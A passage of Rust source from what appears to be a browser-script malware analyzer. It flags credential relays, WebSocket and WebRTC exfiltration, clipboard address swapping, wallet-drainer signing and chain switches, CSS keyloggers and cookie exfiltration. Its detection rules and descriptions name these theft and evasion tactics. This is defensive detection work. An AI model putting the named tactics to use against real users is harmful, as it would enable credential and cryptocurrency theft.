980                    s.findings.push(BehavioralFinding {
981                        severity: if carries_credentials {
982                            Severity::Critical
983                        } else {
984                            Severity::High
985                        },
986                        category: if carries_credentials {
987                            Category::CredentialTheft
988                        } else {
989                            Category::NetworkActivity
990                        },
991                        title: if carries_credentials {
992                            format!("Credential relay via BroadcastChannel: {channel_name}")
993                        } else {
994                            format!("BroadcastChannel cross-context relay: {channel_name}")
995                        },
996                        detail: if carries_credentials {
997                            "Script relays credential-like payloads across browser contexts via BroadcastChannel".into()
998                        } else {
999                            "Script relays data across browser contexts via BroadcastChannel, a covert staging and coordination primitive".into()
1000                        },
1001                        evidence: vec![i],
1002                    });
1003                }
1004
1005                if api == "messageChannel.create" {
1006                    s.message_channel_indices.push(i);
1007                    s.findings.push(BehavioralFinding {
1008                        severity: Severity::Medium,
1009                        category: Category::NetworkActivity,
1010                        title: "MessageChannel relay setup".into(),
1011                        detail:
1012                            "Script creates a MessageChannel for direct cross-context coordination"
1013                                .into(),
1014                        evidence: vec![i],
1015                    });
1016                }
1017
1018                if api == "messagePort.postMessage" {
1019                    s.message_port_indices.push(i);
1020                    let port_name = extract_first_string_arg(args).unwrap_or_else(|| "port".into());
1021                    let message_preview = extract_second_string_arg(args).unwrap_or_default();
1022                    let lower_args = format!(
1023                        "{} {}",
1024                        args_str.to_ascii_lowercase(),
1025                        message_preview.to_ascii_lowercase()
1026                    );
1027                    let carries_credentials = ["password", "otp", "email", "token", "code"]
1028                        .iter()
1029                        .any(|needle| lower_args.contains(needle));
1030                    s.findings.push(BehavioralFinding {
1031                        severity: if carries_credentials {
1032                            Severity::Critical
1033                        } else {
1034                            Severity::High
1035                        },
1036                        category: if carries_credentials {
1037                            Category::CredentialTheft
1038                        } else {
1039                            Category::NetworkActivity
1040                        },
1041                        title: if carries_credentials {
1042                            format!("Credential relay via MessagePort: {port_name}")
1043                        } else {
1044                            format!("MessagePort cross-context relay: {port_name}")
1045                        },
1046                        detail: if carries_credentials {
1047                            "Script relays credential-like payloads across execution contexts through a MessagePort".into()
1048                        } else {
1049                            "Script uses MessagePort to move data across execution contexts outside ordinary request paths".into()
1050                        },
1051                        evidence: vec![i],
1052                    });
1053                }
1054
1055                if api == "sharedworker.port.postMessage" {
1056                    s.shared_worker_message_indices.push(i);
1057                    let worker_url =
1058                        extract_first_string_arg(args).unwrap_or_else(|| "shared_worker".into());
1059                    let message_preview = extract_second_string_arg(args).unwrap_or_default();
1060                    let lower_args = format!(
1061                        "{} {}",
1062                        args_str.to_ascii_lowercase(),
1063                        message_preview.to_ascii_lowercase()
1064                    );
1065                    let carries_credentials = ["password", "otp", "email", "token", "code"]
1066                        .iter()
1067                        .any(|needle| lower_args.contains(needle));
1068                    s.findings.push(BehavioralFinding {
1069                        severity: if carries_credentials {
1070                            Severity::Critical
1071                        } else {
1072                            Severity::High
1073                        },
1074                        category: if carries_credentials {
1075                            Category::CredentialTheft
1076                        } else {
1077                            Category::Persistence
1078                        },
1079                        title: if carries_credentials {
1080                            format!("Credential relay via SharedWorker port: {worker_url}")
1081                        } else {
1082                            format!("SharedWorker port relay: {worker_url}")
1083                        },
1084                        detail: if carries_credentials {
1085                            "Script relays credential-like payloads through a SharedWorker port, allowing cross-tab or cross-page theft outside the main execution context".into()
1086                        } else {
1087                            "Script sends data through a SharedWorker port, a background coordination primitive that survives across same-origin contexts".into()
1088                        },
1089                        evidence: vec![i],
1090                    });
1091                }
1092
1093                if api.contains("Storage.setItem") || api.contains("storage.set") {
1094                    s.has_storage_write = true;
1095                    s.storage_write_indices.push(i);
1096                }
1097
1098                if api == "storageEvent.register" {
1099                    s.storage_event_register_indices.push(i);
1100                    s.findings.push(BehavioralFinding {
1101                        severity: Severity::Medium,
1102                        category: Category::NetworkActivity,
1103                        title: "Cross-tab storage event listener".into(),
1104                        detail: "Script registers a storage event handler, a covert coordination primitive for cross-tab relay and staged reuse of captured state".into(),
1105                        evidence: vec![i],
1106                    });
1107                }
1108
1109                if api == "storageEvent.fire" {
1110                    s.storage_event_fire_indices.push(i);
1111                    let area = extract_first_string_arg(args).unwrap_or_else(|| "storage".into());
1112                    let key = extract_second_string_arg(args).unwrap_or_default();
1113                    let value = extract_third_string_arg(args).unwrap_or_default();
1114                    let lower_args = format!(
1115                        "{} {} {} {}",
1116                        args_str.to_ascii_lowercase(),
1117                        area.to_ascii_lowercase(),
1118                        key.to_ascii_lowercase(),
1119                        value.to_ascii_lowercase()
1120                    );
1121                    let carries_credentials = ["password", "otp", "email", "token", "code"]
1122                        .iter()
1123                        .any(|needle| lower_args.contains(needle));
1124                    s.findings.push(BehavioralFinding {
1125                        severity: if carries_credentials {
1126                            Severity::Critical
1127                        } else {
1128                            Severity::High
1129                        },
1130                        category: if carries_credentials {
1131                            Category::CredentialTheft
1132                        } else {
1133                            Category::Persistence
1134                        },
1135                        title: if carries_credentials {
1136                            "Credential relay via storage event".into()
1137                        } else {
1138                            "Cross-tab storage-event coordination".into()
1139                        },
1140                        detail: if carries_credentials {
1141                            format!(
1142                                "Script relays credential-like state via a {} storage event on key {}",
1143                                area,
1144                                if key.is_empty() { "<clear>".into() } else { key.clone() }
1145                            )
1146                        } else {
1147                            format!(
1148                                "Script fires a {} storage event on key {} to coordinate staged activity across same-origin contexts",
1149                                area,
1150                                if key.is_empty() { "<clear>".into() } else { key.clone() }
1151                            )
1152                        },
1153                        evidence: vec![i],
1154                    });
1155                }
1156
1157                if api.contains("executeScript") {
1158                    s.findings.push(BehavioralFinding {
1159                        severity: Severity::Critical,
1160                        category: Category::CodeInjection,
1161                        title: "Remote code execution via executeScript".into(),
1162                        detail: format!("Extension injects code into browser tabs via {api}"),
1163                        evidence: vec![i],
1164                    });
1165                }
1166
1167                if (api.contains("websocket.connect") || api.contains("websocket.send"))
1168                    && let Some(url) = extract_url_from_args(args).or_else(|| {
1169                        args.first().and_then(Value::as_str).and_then(|s| {
1170                            if s.starts_with('[') {
1171                                serde_json::from_str::<Vec<serde_json::Value>>(s)
1172                                    .ok()
1173                                    .and_then(|arr| {
1174                                        arr.first()
1175                                            .and_then(|v| v.as_str().map(ToString::to_string))
1176                                    })
1177                            } else if s.starts_with("ws://") || s.starts_with("wss://") {
1178                                Some(s.to_string())
1179                            } else {
1180                                None
1181                            }
1182                        })
1183                    })
1184                {
1185                    s.findings.push(BehavioralFinding {
1186                        severity: Severity::High,
1187                        category: Category::NetworkActivity,
1188                        title: format!(
1189                            "WebSocket connection to: {}",
1190                            url.chars().take(60).collect::<String>()
1191                        ),
1192                        detail: format!("Persistent C2 channel via WebSocket to {url}"),
1193                        evidence: vec![i],
1194                    });
1195                    s.has_external_fetch = true;
1196                    s.external_urls.push(url);
1197                    s.fetch_indices.push(i);
1198                    s.websocket_indices.push(i);
1199                }
1200
1201                if api.starts_with("webrtc.") {
1202                    s.webrtc_indices.push(i);
1203                    let op = api.trim_start_matches("webrtc.");
1204                    if matches!(
1205                        op,
1206                        "peer_connection"
1207                            | "create_offer"
1208                            | "create_answer"
1209                            | "set_local_description"
1210                            | "set_remote_description"
1211                            | "ice_candidate"
1212                    ) {
1213                        s.findings.push(BehavioralFinding {
1214                            severity: Severity::Medium,
1215                            category: Category::Fingerprinting,
1216                            title: format!("WebRTC peer setup: {op}"),
1217                            detail: "Script initializes WebRTC primitives that can expose local network metadata or create covert peer channels".into(),
1218                            evidence: vec![i],
1219                        });
1220                    }
1221                    if op == "data_channel" {
1222                        s.findings.push(BehavioralFinding {
1223                            severity: Severity::High,
1224                            category: Category::NetworkActivity,
1225                            title: "WebRTC data channel created".into(),
1226                            detail: "Script creates a WebRTC data channel that can bypass normal HTTP visibility".into(),
1227                            evidence: vec![i],
1228                        });
1229                    }
1230                    if op == "data_channel_send" {
1231                        s.webrtc_data_send_indices.push(i);
1232                        s.findings.push(BehavioralFinding {
1233                            severity: Severity::High,
1234                            category: Category::DataExfiltration,
1235                            title: "WebRTC data channel transmission".into(),
1236                            detail: "Script sends payload data over a WebRTC data channel, a covert peer-to-peer exfiltration path".into(),
1237                            evidence: vec![i],
1238                        });
1239                    }
1240                }
1241
1242                if api.contains("worker.create") || api.contains("sharedworker.create") {
1243                    s.worker_indices.push(i);
1244                    s.findings.push(BehavioralFinding {
1245                        severity: Severity::Medium,
1246                        category: Category::Evasion,
1247                        title: "Web Worker created  -  possible payload hiding".into(),
1248                        detail: "Script creates a Worker thread for background execution".into(),
1249                        evidence: vec![i],
1250                    });
1251                }
1252
1253                if api.contains("wasm.instantiate") || api.contains("wasm.compile") {
1254                    s.wasm_indices.push(i);
1255                    s.findings.push(BehavioralFinding {
1256                        severity: Severity::High,
1257                        category: Category::Evasion,
1258                        title: "WebAssembly module loaded  -  possible crypto miner".into(),
1259                        detail: "Script loads a WASM module, commonly used for hash computation in crypto miners".into(),
1260                        evidence: vec![i],
1261                    });
1262                }
1263
1264                if api.contains("serviceworker.register") {
1265                    s.service_worker_indices.push(i);
1266                    s.findings.push(BehavioralFinding {
1267                        severity: Severity::High,
1268                        category: Category::Persistence,
1269                        title: "ServiceWorker registration  -  persistent background execution".into(),
1270                        detail: "Script registers a ServiceWorker for persistent access even after tab closes".into(),
1271                        evidence: vec![i],
1272                    });
1273                }
1274
1275                if api == "ethereum.request" || api == "ethereum.on" {
1276                    let method = extract_first_string_arg(args).unwrap_or_default();
1277                    if method == "eth_requestAccounts" || method == "eth_accounts" {
1278                        s.has_wallet_connect = true;
1279                        s.wallet_connect_idx = Some(i);
1280                        s.findings.push(BehavioralFinding {
1281                            severity: Severity::High,
1282                            category: Category::CryptoTheft,
1283                            title: "Wallet connection requested".into(),
1284                            detail: format!(
1285                                "Script requests access to user's Ethereum wallet via {method}"
1286                            ),
1287                            evidence: vec![i],
1288                        });
1289                    }
1290                }
1291                if api == "crypto.sign_transaction" || api == "crypto.send_transaction" {
1292                    s.has_sign_transaction = true;
1293                    s.sign_indices.push(i);
1294                    let is_send = api == "crypto.send_transaction";
1295                    s.findings.push(BehavioralFinding {
1296                        severity: Severity::Critical,
1297                        category: Category::CryptoTheft,
1298                        title: if is_send {
1299                            "DIRECT ETH TRANSFER requested".into()
1300                        } else {
1301                            "Transaction signing requested".into()
1302                        },
1303                        detail: format!(
1304                            "Script requests user {} a transaction: {}",
1305                            if is_send { "send" } else { "sign" },
1306                            args_str.chars().take(200).collect::<String>()
1307                        ),
1308                        evidence: vec![i],
1309                    });
1310                }
1311                if api == "crypto.sign_message" {
1312                    s.has_sign_message = true;
1313                    s.sign_indices.push(i);
1314                    let method = extract_first_string_arg(args).unwrap_or_default();
1315                    let severity = if method.contains("signTypedData") {
1316                        Severity::Critical
1317                    } else {
1318                        Severity::High
1319                    };
1320                    s.findings.push(BehavioralFinding {
1321                        severity,
1322                        category: Category::CryptoTheft,
1323                        title: format!("Message signing via {method}"),
1324                        detail: "Script requests cryptographic signature  -  EIP-712 permit signatures can authorize token transfers".into(),
1325                        evidence: vec![i],
1326                    });
1327                }
1328                if api == "crypto.chain_switch" {
1329                    s.has_chain_switch = true;
1330                    s.findings.push(BehavioralFinding {
1331                        severity: Severity::High,
1332                        category: Category::CryptoTheft,
1333                        title: "Chain switch requested".into(),
1334                        detail: "Script attempts to switch wallet to a different blockchain network  -  common drainer tactic to move to attacker-controlled chain".into(),
1335                        evidence: vec![i],
1336                    });
1337                }
1338                if api.starts_with("crypto.solana_sign") {
1339                    s.has_sign_transaction = true;
1340                    s.sign_indices.push(i);
1341                    s.findings.push(BehavioralFinding {
1342                        severity: Severity::Critical,
1343                        category: Category::CryptoTheft,
1344                        title: format!("Solana transaction signing: {api}"),
1345                        detail: "Script requests Solana wallet to sign a transaction".into(),
1346                        evidence: vec![i],
1347                    });
1348                }
1349                if api == "solana.connect" {
1350                    s.has_wallet_connect = true;
1351                    s.wallet_connect_idx = Some(i);
1352                    s.findings.push(BehavioralFinding {
1353                        severity: Severity::High,
1354                        category: Category::CryptoTheft,
1355                        title: "Solana wallet connection requested".into(),
1356                        detail: "Script connects to user's Solana wallet".into(),
1357                        evidence: vec![i],
1358                    });
1359                }
1360
1361                if api == "clipboard.writeText" || api == "clipboard.write" {
1362                    s.has_clipboard_write = true;
1363                    s.clipboard_write_content = extract_url_from_args(args).or_else(|| {
1364                        args.first()
1365                            .and_then(Value::as_str)
1366                            .map(ToString::to_string)
1367                    });
1368                    let content = s.clipboard_write_content.as_deref().unwrap_or("");
1369                    let is_crypto_addr = (content.starts_with("0x")
1370                        && content.len() >= 42
1371                        && content[2..42].chars().all(|c| c.is_ascii_hexdigit()))
1372                        || (content.starts_with("bc1")
1373                            && content.len() >= 42
1374                            && content.len() <= 62)
1375                        || (content.starts_with('1')
1376                            && content.len() >= 26
1377                            && content.len() <= 35
1378                            && content.chars().all(|c| c.is_ascii_alphanumeric()))
1379                        || (content.starts_with('T')
1380                            && content.len() == 34
1381                            && content.chars().all(|c| c.is_ascii_alphanumeric()));
1382                    let severity = if is_crypto_addr {
1383                        Severity::Critical
1384                    } else {
1385                        Severity::High
1386                    };
1387                    s.findings.push(BehavioralFinding {
1388                        severity,
1389                        category: Category::ClipboardHijack,
1390                        title: if is_crypto_addr {
1391                            "Clipboard hijacked with crypto address".into()
1392                        } else {
1393                            "Clipboard content overwritten".into()
1394                        },
1395                        detail: format!(
1396                            "Script writes to clipboard: {}...",
1397                            &content[..content.len().min(80)]
1398                        ),
1399                        evidence: vec![i],
1400                    });
1401                }
1402                if api == "clipboard.readText" || api == "clipboard.read" {
1403                    s.has_clipboard_read = true;
1404                    s.findings.push(BehavioralFinding {
1405                        severity: Severity::Medium,
1406                        category: Category::ClipboardHijack,
1407                        title: "Clipboard content read".into(),
1408                        detail: "Script reads clipboard  -  may be harvesting copied passwords or crypto addresses".into(),
1409                        evidence: vec![i],
1410                    });
1411                }
1412
1413                if api == "notification.requestPermission" {
1414                    s.notification_permission_indices.push(i);
1415                    s.findings.push(BehavioralFinding {
1416                        severity: Severity::Medium,
1417                        category: Category::PrivacyViolation,
1418                        title: "Push notification permission requested".into(),
1419                        detail: "Script requests notification permissions  -  used for persistent social engineering".into(),
1420                        evidence: vec![i],
1421                    });
1422                }
1423
1424                if api == "notification.create" {
1425                    s.notification_create_indices.push(i);
1426                    s.findings.push(BehavioralFinding {
1427                        severity: Severity::Medium,
1428                        category: Category::Persistence,
1429                        title: "Notification created".into(),
1430                        detail:
1431                            "Script generates a notification payload for out-of-tab re-engagement"
1432                                .into(),
1433                        evidence: vec![i],
1434                    });
1435                }
1436
1437                if api == "payment.request" || api == "payment.show" {
1438                    s.payment_request_indices.push(i);
1439                    s.findings.push(BehavioralFinding {
1440                        severity: Severity::Critical,
1441                        category: Category::CryptoTheft,
1442                        title: "Payment Request API invoked".into(),
1443                        detail: "Script triggers browser payment flow  -  may be attempting unauthorized payment".into(),
1444                        evidence: vec![i],
1445                    });
1446                }
1447
1448                if (api == "history.pushState" || api == "history.replaceState")
1449                    && let Some(url) = extract_url_from_args(args)
1450                {
1451                    s.history_state_indices.push(i);
1452                    s.findings.push(BehavioralFinding {
1453                        severity: Severity::Medium,
1454                        category: Category::Evasion,
1455                        title: format!("URL bar manipulation via {api}"),
1456                        detail: format!(
1457                            "Script changes visible URL to {url}  -  may hide phishing URL"
1458                        ),
1459                        evidence: vec![i],
1460                    });
1461                }
1462
1463                if api.starts_with("geolocation.") {
1464                    s.geolocation_indices.push(i);
1465                    s.findings.push(BehavioralFinding {
1466                        severity: Severity::Medium,
1467                        category: Category::PrivacyViolation,
1468                        title: format!("Geolocation access: {api}"),
1469                        detail: "Script accesses user's physical location".into(),
1470                        evidence: vec![i],
1471                    });
1472                }
1473
1474                if let Some(operation) = api.strip_prefix("crypto.subtle.") {
1475                    s.crypto_operation_indices.push(i);
1476                    if operation == "decrypt" {
1477                        s.crypto_decrypt_indices.push(i);
1478                    }
1479                    if operation == "importKey" {
1480                        s.crypto_import_key_indices.push(i);
1481                    }
1482                    let detail = extract_first_string_arg(args).unwrap_or_default();
1483                    s.findings.push(BehavioralFinding {
1484                        severity: if operation == "decrypt" {
1485                            Severity::High
1486                        } else {
1487                            Severity::Medium
1488                        },
1489                        category: if operation == "decrypt" {
1490                            Category::CodeInjection
1491                        } else {
1492                            Category::Evasion
1493                        },
1494                        title: format!("WebCrypto subtle operation: {operation}"),
1495                        detail: if detail.is_empty() {
1496                            "Script uses WebCrypto subtle APIs, a common primitive for encrypted staging and payload unlocking".into()
1497                        } else {
1498                            format!(
1499                                "Script uses WebCrypto subtle.{operation} with {detail}, a common primitive for encrypted staging and payload unlocking"
1500                            )
1501                        },
1502                        evidence: vec![i],
1503                    });
1504                }
1505
1506                if api == "indexedDB.open" {
1507                    s.indexed_db_indices.push(i);
1508                    let name = extract_first_string_arg(args).unwrap_or_default();
1509                    s.findings.push(BehavioralFinding {
1510                        severity: Severity::Medium,
1511                        category: Category::Persistence,
1512                        title: format!("IndexedDB persistence surface opened: {name}"),
1513                        detail: "Script opens an IndexedDB database, enabling durable browser-side staging or state retention".into(),
1514                        evidence: vec![i],
1515                    });
1516                }
1517
1518                if api == "trustedTypes.createPolicy" {
1519                    s.trusted_types_indices.push(i);
1520                    let name = extract_first_string_arg(args).unwrap_or_default();
1521                    s.findings.push(BehavioralFinding {
1522                        severity: Severity::Medium,
1523                        category: Category::Evasion,
1524                        title: format!("Trusted Types policy created: {name}"),
1525                        detail: "Script creates a Trusted Types policy, a capability often used by sophisticated loaders to blend malicious DOM or script creation into hardened applications".into(),
1526                        evidence: vec![i],
1527                    });
1528                }
1529
1530                if api == "scheduler.postTask"
1531                    || api == "scheduler.yield"
1532                    || api == "requestIdleCallback"
1533                    || api == "requestAnimationFrame"
1534                    || api == "queueMicrotask"
1535                {
1536                    s.scheduler_indices.push(i);
1537                    let priority =
1538                        extract_first_string_arg(args).unwrap_or_else(|| "user-visible".into());
1539                    s.findings.push(BehavioralFinding {
1540                        severity: Severity::Medium,
1541                        category: Category::Evasion,
1542                        title: if api == "scheduler.postTask" {
1543                            format!("Deferred task scheduling via scheduler.postTask ({priority})")
1544                        } else if api == "requestIdleCallback" {
1545                            format!("Deferred task scheduling via requestIdleCallback ({priority})")
1546                        } else if api == "requestAnimationFrame" {
1547                            "Deferred task scheduling via requestAnimationFrame (16ms)".into()
1548                        } else if api == "queueMicrotask" {
1549                            "Deferred task scheduling via queueMicrotask (immediate)".into()
1550                        } else {
1551                            "Scheduler yield used for staged execution".into()
1552                        },
1553                        detail: match api.as_str() {
1554                            "requestIdleCallback" => {
1555                                "Script uses requestIdleCallback to defer execution until the browser is idle, a common way to hide staged activity after initial rendering".into()
1556                            }
1557                            "requestAnimationFrame" => {
1558                                "Script uses requestAnimationFrame to delay execution until the next rendering tick, a common way to stage DOM or network activity after initial page setup".into()
1559                            }
1560                            "queueMicrotask" => {
1561                                "Script uses queueMicrotask to push staged behavior into the microtask queue, hiding work after synchronous setup but before the next task boundary".into()
1562                            }
1563                            _ => {
1564                                "Script uses the Scheduler API to defer execution and potentially evade simplistic single-pass analysis".into()
1565                            }
1566                        },
1567                        evidence: vec![i],
1568                    });
1569                }
1570
1571                if api == "url.createObjectURL" {
1572                    s.blob_url_indices.push(i);
1573                    let mut content_type = args
1574                        .get(1)
1575                        .and_then(Value::as_str)
1576                        .unwrap_or("application/octet-stream")
1577                        .to_string();
1578                    let preview = args.get(2).and_then(Value::as_str).unwrap_or_default();
1579                    let preview_lower = preview.to_ascii_lowercase();
1580                    if (content_type.is_empty() || content_type == "application/octet-stream")
1581                        && preview_lower.contains("<form")
1582                    {
1583                        content_type = "text/html".into();
1584                    } else if (content_type.is_empty()
1585                        || content_type == "application/octet-stream")
1586                        && preview_lower.contains("<svg")
1587                    {
1588                        content_type = "image/svg+xml".into();
1589                    }
1590                    if content_type.eq_ignore_ascii_case("text/html")
1591                        || content_type.eq_ignore_ascii_case("image/svg+xml")
1592                    {
1593                        s.html_blob_url_indices.push(i);
1594                    }
1595                    s.findings.push(BehavioralFinding {
1596                        severity: if content_type.eq_ignore_ascii_case("text/html")
1597                            || content_type.eq_ignore_ascii_case("image/svg+xml")
1598                        {
1599                            Severity::High
1600                        } else {
1601                            Severity::Medium
1602                        },
1603                        category: Category::DomManipulation,
1604                        title: format!("In-memory blob URL created ({content_type})"),
1605                        detail: "Script creates an in-memory object URL, a common staging primitive for hidden HTML, SVG, or download payloads".into(),
1606                        evidence: vec![i],
1607                    });
1608                }
1609
1610                if api == "mutationObserver.observe" {
1611                    s.mutation_observer_indices.push(i);
1612                    s.findings.push(BehavioralFinding {
1613                        severity: Severity::Medium,
1614                        category: Category::DomManipulation,
1615                        title: "MutationObserver-backed DOM watcher".into(),
1616                        detail: "Script registers a MutationObserver, a common primitive for waiting on DOM changes before staging forms, overlays, or delayed credential prompts".into(),
1617                        evidence: vec![i],
1618                    });
1619                }
1620                if api == "intersectionObserver.observe" {
1621                    s.intersection_observer_indices.push(i);
1622                    s.findings.push(BehavioralFinding {
1623                        severity: Severity::Medium,
1624                        category: Category::Evasion,
1625                        title: "IntersectionObserver-backed DOM watcher".into(),
1626                        detail: "Script uses IntersectionObserver to defer behavior until elements become visible, a common staged lure and delayed injection primitive".into(),
1627                        evidence: vec![i],
1628                    });
1629                }
1630                if api == "resizeObserver.observe" {
1631                    s.resize_observer_indices.push(i);
1632                    s.findings.push(BehavioralFinding {
1633                        severity: Severity::Medium,
1634                        category: Category::Evasion,
1635                        title: "ResizeObserver-backed DOM watcher".into(),
1636                        detail: "Script uses ResizeObserver to react to layout changes before triggering behavior, a staged DOM watcher frequently paired with delayed payload activation".into(),
1637                        evidence: vec![i],
1638                    });
1639                }
1640
1641                if api.contains("webRequest") && api.contains("addListener") {
1642                    s.findings.push(BehavioralFinding {
1643                        severity: Severity::High,
1644                        category: Category::NetworkActivity,
1645                        title: "Web request interception".into(),
1646                        detail: "Extension intercepts and can modify all web requests".into(),
1647                        evidence: vec![i],
1648                    });
1649                }
1650            }
1651
1652            Observation::CookieAccess {
1653                operation, name, ..
1654            } => {
1655                s.timeline.push(TimelineEntry {
1656                    index: i,
1657                    action: format!("cookie.{operation:?}({name})"),
1658                    category: Category::CookieAccess,
1659                });
1660                if matches!(operation, CookieOp::Read) {
1661                    s.has_cookie_read = true;
1662                    s.cookie_read_idx = Some(i);
1663                }
1664            }
1665
1666            Observation::NetworkRequest { url, method, .. } => {
1667                s.timeline.push(TimelineEntry {
1668                    index: i,
1669                    action: format!("{method} {url}"),
1670                    category: Category::NetworkActivity,
1671                });
1672                if is_external_url(url) {
1673                    s.has_external_fetch = true;
1674                    s.external_urls.push(url.clone());
1675                    s.fetch_indices.push(i);
1676                }
1677            }
1678
1679            Observation::DynamicCodeExec {
1680                source,
1681                code_preview,
1682            } => {
1683                s.dynamic_code_indices.push(i);
1684                let preview = if code_preview.len() > 60 {
1685                    format!("{}...", &code_preview[..60])
1686                } else {
1687                    code_preview.clone()
1688                };
1689                s.timeline.push(TimelineEntry {
1690                    index: i,
1691                    action: format!("{source:?}: {preview}"),
1692                    category: Category::CodeInjection,
1693                });
1694                s.findings.push(BehavioralFinding {
1695                    severity: Severity::High,
1696                    category: Category::CodeInjection,
1697                    title: format!("Dynamic code execution via {source:?}"),
1698                    detail: format!("Code: {preview}"),
1699                    evidence: vec![i],
1700                });
1701            }
1702
1703            Observation::CssExfiltration { selector, url, .. } => {
1704                s.findings.push(BehavioralFinding {
1705                    severity: Severity::Critical,
1706                    category: Category::DataExfiltration,
1707                    title: format!("CSS keylogger: {selector} → {url}"),
1708                    detail: format!(
1709                        "CSS rule exfiltrates input data via background-image URL: {url}"
1710                    ),
1711                    evidence: vec![i],
1712                });
1713                s.has_external_fetch = true;
1714                s.external_urls.push(url.clone());
1715                s.fetch_indices.push(i);
1716            }
1717
1718            Observation::PropertyRead {
1719                object, property, ..
1720            } => {
1721                let object_l = object.to_ascii_lowercase();
1722                let property_l = property.to_ascii_lowercase();
1723                let fingerprint_like = matches!(
1724                    (object_l.as_str(), property_l.as_str()),
1725                    ("navigator", "useragent")
1726                        | ("navigator", "platform")
1727                        | ("navigator", "language")
1728                        | ("navigator", "languages")
1729                        | ("navigator", "hardwareconcurrency")
1730                        | ("navigator", "devicememory")
1731                        | ("navigator", "webdriver")
1732                        | ("screen", "width")
1733                        | ("screen", "height")
1734                        | ("screen", "availwidth")
1735                        | ("screen", "availheight")
1736                        | ("document", "visibilitystate")
1737                );
1738                if fingerprint_like {
1739                    let api = format!("{object}.{property}");
1740                    s.has_fingerprint_access = true;
1741                    s.fingerprint_indices.push(i);
1742                    s.fingerprint_apis.push(format!("{object}.{property}"));
1743                    s.timeline.push(TimelineEntry {
1744                        index: i,
1745                        action: format!("fingerprint: {api}"),
1746                        category: Category::Fingerprinting,
1747                    });
1748                    s.findings.push(BehavioralFinding {
1749                        severity: Severity::Medium,
1750                        category: Category::Fingerprinting,
1751                        title: format!("Browser fingerprinting via {api}"),
1752                        detail: "Script probes browser identity and environment properties".into(),
1753                        evidence: vec![i],
1754                    });
1755                }
1756            }
1757
1758            Observation::FingerprintAccess { api, .. } => {
1759                s.has_fingerprint_access = true;
1760                s.fingerprint_indices.push(i);
1761                s.fingerprint_apis.push(api.clone());
1762                s.timeline.push(TimelineEntry {
1763                    index: i,
1764                    action: format!("fingerprint: {api}"),
1765                    category: Category::Fingerprinting,
1766                });
1767                s.findings.push(BehavioralFinding {
1768                    severity: Severity::Medium,
1769                    category: Category::Fingerprinting,
1770                    title: format!("Browser fingerprinting via {api}"),
1771                    detail: "Script probes browser identity APIs".into(),
1772                    evidence: vec![i],
1773                });
1774            }
1775
1776            Observation::TimerSet {
1777                delay_ms,
1778                is_interval,
1779                ..
1780            } => {
1781                s.timer_indices.push(i);
1782                if *delay_ms >= 3_000 {
1783                    s.long_delay_timer_indices.push(i);
1784                    s.findings.push(BehavioralFinding {
1785                        severity: Severity::Medium,
1786                        category: Category::Evasion,
1787                        title: if *is_interval {
1788                            format!("Long-lived interval timer: {delay_ms}ms")
1789                        } else {
1790                            format!("Delayed execution timer: {delay_ms}ms")
1791                        },
1792                        detail: if *is_interval {
1793                            "Script schedules repeated delayed execution, a common way to stagger abuse or survive initial analysis windows".into()
1794                        } else {
1795                            "Script defers execution for several seconds, a common staging and anti-analysis tactic".into()
1796                        },
1797                        evidence: vec![i],
1798                    });
1799                }
1800            }
1801
1802            Observation::WasmInstantiation { module_size, .. } => {
1803                s.wasm_indices.push(i);
1804                s.findings.push(BehavioralFinding {
1805                    severity: Severity::High,
1806                    category: Category::Evasion,
1807                    title: "WebAssembly module instantiation".into(),
1808                    detail: format!("Script loads a {module_size}-byte WASM module  -  may contain obfuscated logic"),
1809                    evidence: vec![i],
1810                });
1811            }
1812
1813            Observation::DomMutation {
1814                kind,
1815                target,
1816                detail,
1817            } => {
1818                s.timeline.push(TimelineEntry {
1819                    index: i,
1820                    action: format!("DOM {kind:?} on <{target}>: {detail}"),
1821                    category: Category::DomManipulation,
1822                });
1823            }
1824
1825            _ => {}
1826        }
1827    }
1828
1829    if s.has_cookie_read && s.has_external_fetch {
1830        let mut evidence = Vec::new();
1831        if let Some(idx) = s.cookie_read_idx {
1832            evidence.push(idx);
1833        }
1834        evidence.extend(&s.fetch_indices);
1835        s.findings.push(BehavioralFinding {
1836            severity: Severity::Critical,
1837            category: Category::DataExfiltration,
1838            title: "Cookie exfiltration to external server".into(),
1839            detail: format!(
1840                "Script reads cookies and sends data to: {}",
1841                s.external_urls.join(", ")
1842            ),
1843            evidence,
1844        });
1845    } else if s.has_cookie_read {
1846        s.findings.push(BehavioralFinding {
1847            severity: Severity::Medium,
1848            category: Category::CookieAccess,
1849            title: "Cookie access detected".into(),
1850            detail: "Script reads browser cookies".into(),
1851            evidence: s.cookie_read_idx.into_iter().collect(),
1852        });
1853    }
1854
1855    if s.has_external_fetch && !s.has_cookie_read {
1856        s.findings.push(BehavioralFinding {
1857            severity: Severity::Medium,
1858            category: Category::NetworkActivity,
1859            title: "External network requests".into(),
1860            detail: format!("Requests to: {}", s.external_urls.join(", ")),
1861            evidence: s.fetch_indices.clone(),
1862        });
1863    }
1864
1865    if s.has_storage_write {
1866        s.findings.push(BehavioralFinding {
1867            severity: Severity::Low,
1868            category: Category::Persistence,
1869            title: "Local storage persistence".into(),
1870            detail: "Script stores data in localStorage/sessionStorage".into(),
1871            evidence: s.storage_write_indices.clone(),
1872        });
1873    }
1874
1875    if s.has_credential_surface
1876        && (s.has_external_fetch || !s.external_credential_action_indices.is_empty())
1877    {
1878        let mut evidence = s.credential_surface_indices.clone();
1879        evidence.extend(&s.fetch_indices);
1880        evidence.extend(&s.external_credential_action_indices);
1881        evidence.sort_unstable();
1882        evidence.dedup();
1883        s.findings.push(BehavioralFinding {
1884            severity: Severity::Critical,
1885            category: Category::CredentialTheft,
1886            title: "CONFIRMED: Staged credential harvesting flow".into(),
1887            detail: format!(
1888                "Script exposes a credential collection surface and relays or submits data to external destinations: {}",
1889                s.external_urls.join(", ")
1890            ),
1891            evidence,
1892        });
1893    }
1894
1895    if s.has_credential_surface
1896        && !s.mutation_observer_indices.is_empty()
1897        && (s.has_external_fetch || !s.storage_write_indices.is_empty())
1898    {
1899        let mut evidence = s.credential_surface_indices.clone();
1900        evidence.extend(&s.mutation_observer_indices);
1901        evidence.extend(&s.fetch_indices);
1902        evidence.extend(&s.storage_write_indices);
1903        evidence.sort_unstable();
1904        evidence.dedup();
1905        s.findings.push(BehavioralFinding {
1906            severity: Severity::Critical,
1907            category: Category::CredentialTheft,
1908            title: "Observer-driven staged credential injection".into(),
1909            detail: "Script combines a MutationObserver with a credential surface and downstream staging or off-origin activity, indicating delayed DOM-triggered credential theft rather than a static login page".into(),
1910            evidence,
1911        });
1912    }
1913
1914    let has_layout_observer =
